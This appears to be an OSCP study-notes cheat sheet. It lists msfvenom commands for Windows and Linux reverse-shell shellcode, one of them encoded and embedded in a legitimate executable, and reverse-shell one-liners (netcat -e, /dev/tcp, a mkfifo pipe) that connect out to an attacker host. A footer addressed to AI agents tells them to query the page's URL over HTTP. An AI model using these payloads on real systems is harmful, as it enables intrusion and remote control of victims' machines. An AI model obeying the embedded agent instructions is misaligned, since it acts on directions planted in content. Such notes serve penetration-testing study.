# Generate shellcodes

## Windows

```bash
msfvenom -a x86 --platform Windows \
    -p windows/shell_reverse_tcp \
    -b '\x00\x40\x0a\x0d' \
    -f python -v shellcode \
    LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
```

```python
msfvenom -p windows/shell_reverse_tcp -f exe \
    -e x86/shikata_ga_nai -i 9 \
    -x /usr/share/windows-binaries/plink.exe -o reverse.exe \
    LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
```

### Generate shellcode with specified size in python format

```bash
msfvenom -a x86 --platform windows \
    -p windows/shell_reverse_tcp \
    -b '\x00\x40\x0a\x0d' \
    -s $PAYLOAD_SIZE \
    LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
    | msfvenom -a x86 --platform Windows -f python -v shellcode
```

## Linux

```python
msfvenom -a x86 --platform Windows \
    -p linux/x86/shell_reverse_tcp \
    -b '\x00\x40\x0a\x0d' \
    -f python -v shellcode \
    LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
```

### Reverse shell commands

```python
nc $ATTACKER_IP 443 -e /bin/bash
```

If netcat is not on the target system:

```python
/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
```

```python
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f
```

## Webshells

### Commands

```python
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://abcsup.gitbook.io/oscp-study-notes/vulnerabilites-and-exploitation/generate-shellcodes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
